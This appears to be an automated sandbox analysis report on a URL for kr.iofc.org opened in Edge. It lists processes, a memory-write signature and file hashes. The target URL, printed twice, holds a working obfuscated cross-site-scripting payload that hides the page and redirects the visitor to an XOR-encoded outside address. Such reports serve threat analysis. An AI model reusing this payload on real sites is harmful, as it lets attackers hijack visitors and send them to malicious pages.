Analysis

  • max time kernel
    0s
  • max time network
    6s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 20:56

General

  • Target

    http://kr.iofc.org/error?msg=%22%3E%3Ciframe%20src%3Djavascript%3A%2F%2Afd7%C2%A7Other.everywhere1%5Dforiginal%C2%A7style%2A%2FcodeString%3D%60win%60%2B%60dow.par%60%2B%60ent.docu%60%2B%60ment.docu%60%2B%60mentEle%60%2B%60ment.st%60%2B%60yle.opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C78%2C69%2C88%2C71%2C66%2C67%2C77%2C66%2C4%2C72%2C67%2C78%2C5%2C27%2C26%2C26%2C18%2C25%2C31%2C79%2C72%2C27%2C24%2C24%2C79%2C78%2C72%2C75%2C29%2C18%2C26%2C26%2C5%2C27%2C28%2C5%2C27%2C%5D%3B%2F%2Afwef%5B~7el~wefwef%C2%A73000zwefwef%C2%A73000zb%2A%2Fwin%60%2B%60dow.par%60%2B%60ent.loca%60%2B%60tion.hr%60%2B%60ef%3Durl.map%28value%3D%60%2BString.fromCharCode%2862%29%2B%60String.fromCharCode%28value%5E63%29%29.jo%60%2B%60in%28%27%27%29.concat%28%27%23%27%29%3B%2F%2Achw%C2%A7%C2%A7%C2%A7chw.toUpUpDown%28%29%2A%2F%60%3BcodeString%3DcodeString.replaceAll%28%60salooa%60%2C%60azefcr%60%29%3BexecuteCode%3DFunction%28codeString%29%3B%2F%2Athat~ovrir~sleep.over%C2%A7%2A%2FexecuteCode%28%29%3B%2F%2A%C2%A7max.do%28%29%2A%2F%3E%3C%2Fiframe%3E%3Fy%20menu%22%20target%3D%22_blank%22%3ElgJ%3DjRi%2Ck3gyg9%2BP%29FsMvf%3Dg%3C%29~%27m%3Cimg%20src%3D%22%3B%3ABpBKn%26%C3%97%2B%3DB%3DdPxNJTkN%3B%2B%2B%21He%2BR%22%20alt%3D%22imagehost%22%3E%3Cbr%3E%3Ca%20href%3D%22e%C3%975%22%3E%2313pk.CjSw9%3DH.%3A%2Ar2ByE%2B__%3Ciframe%20src%3Djavascript%3A%2F%2Afd7%C2%A7Other.everywhere1%5Dforiginal%C2%A7style%2A%2FcodeString%3D%60win%60%2B%60dow.par%60%2B%60ent.docu%60%2B%60ment.docu%60%2B%60mentEle%60%2B%60ment.st%60%2B%60yle.opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C78%2C69%2C88%2C71%2C66%2C67%2C77%2C66%2C4%2C72%2C67%2C78%2C5%2C27%2C26%2C26%2C18%2C25%2C31%2C79%2C72%2C27%2C24%2C24%2C79%2C78%2C72%2C75%2C29%2C18%2C26%2C26%2C5%2C27%2C28%2C5%2C27%2C%5D%3B%2F%2Afwef%5B~7el~wefwef%C2%A73000zwefwef%C2%A73000zb%2A%2Fwin%60%2B%60dow.par%60%2B%60ent.loca%60%2B%60tion.hr%60%2B%60ef%3Durl.map%28value%3D%60%2BString.fromCharCode%2862%29%2B%60String.fromCharCode%28value%5E42%29%29.jo%60%2B%60in%28%27%27%29.concat%28%27%23%27%29%3B%2F%2Achw%C2%A7%C2%A7%C2%A7chw.toUpUpDown%28%29%2A%2F%60%3BcodeString%3DcodeString.replaceAll%28%60salooa%60%2C%60azefcr%60%29%3BexecuteCode%3DFunction%28codeString%29%3B%2F%2Athat~ovrir~sleep.over%C2%A7%2A%2FexecuteCode%28%29%3B%2F%2A%C2%A7max.do%28%29%2A%2F%3E%3C%2Fiframe%3E%3Fy%20menu

Score
1/10

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://kr.iofc.org/error?msg=%22%3E%3Ciframe%20src%3Djavascript%3A%2F%2Afd7%C2%A7Other.everywhere1%5Dforiginal%C2%A7style%2A%2FcodeString%3D%60win%60%2B%60dow.par%60%2B%60ent.docu%60%2B%60ment.docu%60%2B%60mentEle%60%2B%60ment.st%60%2B%60yle.opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C78%2C69%2C88%2C71%2C66%2C67%2C77%2C66%2C4%2C72%2C67%2C78%2C5%2C27%2C26%2C26%2C18%2C25%2C31%2C79%2C72%2C27%2C24%2C24%2C79%2C78%2C72%2C75%2C29%2C18%2C26%2C26%2C5%2C27%2C28%2C5%2C27%2C%5D%3B%2F%2Afwef%5B~7el~wefwef%C2%A73000zwefwef%C2%A73000zb%2A%2Fwin%60%2B%60dow.par%60%2B%60ent.loca%60%2B%60tion.hr%60%2B%60ef%3Durl.map%28value%3D%60%2BString.fromCharCode%2862%29%2B%60String.fromCharCode%28value%5E63%29%29.jo%60%2B%60in%28%27%27%29.concat%28%27%23%27%29%3B%2F%2Achw%C2%A7%C2%A7%C2%A7chw.toUpUpDown%28%29%2A%2F%60%3BcodeString%3DcodeString.replaceAll%28%60salooa%60%2C%60azefcr%60%29%3BexecuteCode%3DFunction%28codeString%29%3B%2F%2Athat~ovrir~sleep.over%C2%A7%2A%2FexecuteCode%28%29%3B%2F%2A%C2%A7max.do%28%29%2A%2F%3E%3C%2Fiframe%3E%3Fy%20menu%22%20target%3D%22_blank%22%3ElgJ%3DjRi%2Ck3gyg9%2BP%29FsMvf%3Dg%3C%29~%27m%3Cimg%20src%3D%22%3B%3ABpBKn%26%C3%97%2B%3DB%3DdPxNJTkN%3B%2B%2B%21He%2BR%22%20alt%3D%22imagehost%22%3E%3Cbr%3E%3Ca%20href%3D%22e%C3%975%22%3E%2313pk.CjSw9%3DH.%3A%2Ar2ByE%2B__%3Ciframe%20src%3Djavascript%3A%2F%2Afd7%C2%A7Other.everywhere1%5Dforiginal%C2%A7style%2A%2FcodeString%3D%60win%60%2B%60dow.par%60%2B%60ent.docu%60%2B%60ment.docu%60%2B%60mentEle%60%2B%60ment.st%60%2B%60yle.opa%60%2B%60city%3D0%3Burl%3D%5B66%2C94%2C94%2C90%2C89%2C16%2C5%2C5%2C78%2C69%2C88%2C71%2C66%2C67%2C77%2C66%2C4%2C72%2C67%2C78%2C5%2C27%2C26%2C26%2C18%2C25%2C31%2C79%2C72%2C27%2C24%2C24%2C79%2C78%2C72%2C75%2C29%2C18%2C26%2C26%2C5%2C27%2C28%2C5%2C27%2C%5D%3B%2F%2Afwef%5B~7el~wefwef%C2%A73000zwefwef%C2%A73000zb%2A%2Fwin%60%2B%60dow.par%60%2B%60ent.loca%60%2B%60tion.hr%60%2B%60ef%3Durl.map%28value%3D%60%2BString.fromCharCode%2862%29%2B%60String.fromCharCode%28value%5E42%29%29.jo%60%2B%60in%28%27%27%29.concat%28%27%23%27%29%3B%2F%2Achw%C2%A7%C2%A7%C2%A7chw.toUpUpDown%28%29%2A%2F%60%3BcodeString%3DcodeString.replaceAll%28%60salooa%60%2C%60azefcr%60%29%3BexecuteCode%3DFunction%28codeString%29%3B%2F%2Athat~ovrir~sleep.over%C2%A7%2A%2FexecuteCode%28%29%3B%2F%2A%C2%A7max.do%28%29%2A%2F%3E%3C%2Fiframe%3E%3Fy%20menu
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3732
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe7ea846f8,0x7ffe7ea84708,0x7ffe7ea84718
      2⤵
        PID:4056
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2124,12151221017201587168,16281041767898887451,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
        2⤵
          PID:228
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2124,12151221017201587168,16281041767898887451,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2236 /prefetch:3
          2⤵
            PID:3300
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2124,12151221017201587168,16281041767898887451,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2960 /prefetch:8
            2⤵
              PID:4024
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,12151221017201587168,16281041767898887451,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3268 /prefetch:1
              2⤵
                PID:3604
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,12151221017201587168,16281041767898887451,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3276 /prefetch:1
                2⤵
                  PID:4208
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,12151221017201587168,16281041767898887451,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5068 /prefetch:1
                  2⤵
                    PID:4724
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,12151221017201587168,16281041767898887451,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4692 /prefetch:1
                    2⤵
                      PID:2676
                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2124,12151221017201587168,16281041767898887451,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3676 /prefetch:8
                      2⤵
                        PID:4888
                      • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2124,12151221017201587168,16281041767898887451,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3676 /prefetch:8
                        2⤵
                          PID:4568
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,12151221017201587168,16281041767898887451,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1
                          2⤵
                            PID:540
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2124,12151221017201587168,16281041767898887451,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3580 /prefetch:1
                            2⤵
                              PID:3956
                          • C:\Windows\System32\CompPkgSrv.exe
                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                            1⤵
                              PID:1960
                            • C:\Windows\System32\CompPkgSrv.exe
                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                              1⤵
                                PID:4772

                              Network

                              MITRE ATT&CK Matrix

                              Replay Monitor

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                              Downloads

                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                Filesize

                                152B

                                MD5

                                537815e7cc5c694912ac0308147852e4

                                SHA1

                                2ccdd9d9dc637db5462fe8119c0df261146c363c

                                SHA256

                                b4b69d099507d88abdeff4835e06cc6711e1c47464c963d013cef0a278e52d4f

                                SHA512

                                63969a69af057235dbdecddc483ef5ce0058673179a3580c5aa12938c9501513cdb72dd703a06fa7d4fc08d074f17528283338c795334398497c771ecbd1350a

                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

                                Filesize

                                152B

                                MD5

                                8b167567021ccb1a9fdf073fa9112ef0

                                SHA1

                                3baf293fbfaa7c1e7cdacb5f2975737f4ef69898

                                SHA256

                                26764cedf35f118b55f30b3a36e0693f9f38290a5b2b6b8b83a00e990ae18513

                                SHA512

                                726098001ef1acf1dd154a658752fa27dea32bca8fbb66395c142cb666102e71632adbad1b7e2f717071cd3e3af3867471932a71707f2ae97b989f4be468ab54

                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\8e187b53-da1f-4008-81fe-eef51552767f.tmp

                                Filesize

                                5KB

                                MD5

                                f04e9ddeb152ce5a5ec05c4af2ba48de

                                SHA1

                                830aeebda21ae49ecda8a83654d9e4daa86a9fe9

                                SHA256

                                cace19037c01b363990f4a554cf1090a47f5290687721e78c542ca7f505bcf0d

                                SHA512

                                2a394a6f50fd8a871c72031eb35252cb78344efb864d04e2159bce81bc02ad09d76a551ceb8eb1c4cbaaa7b429393aca5f9a370ce2e81604bb7697db45b08343

                              • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                Filesize

                                16B

                                MD5

                                6752a1d65b201c13b62ea44016eb221f

                                SHA1

                                58ecf154d01a62233ed7fb494ace3c3d4ffce08b

                                SHA256

                                0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

                                SHA512

                                9cfd838d3fb570b44fc3461623ab2296123404c6c8f576b0de0aabd9a6020840d4c9125eb679ed384170dbcaac2fa30dc7fa9ee5b77d6df7c344a0aa030e0389

                              • \??\pipe\LOCAL\crashpad_3732_OWVCVWKLSXBVCOPT

                                MD5

                                d41d8cd98f00b204e9800998ecf8427e

                                SHA1

                                da39a3ee5e6b4b0d3255bfef95601890afd80709

                                SHA256

                                e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                SHA512

                                cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e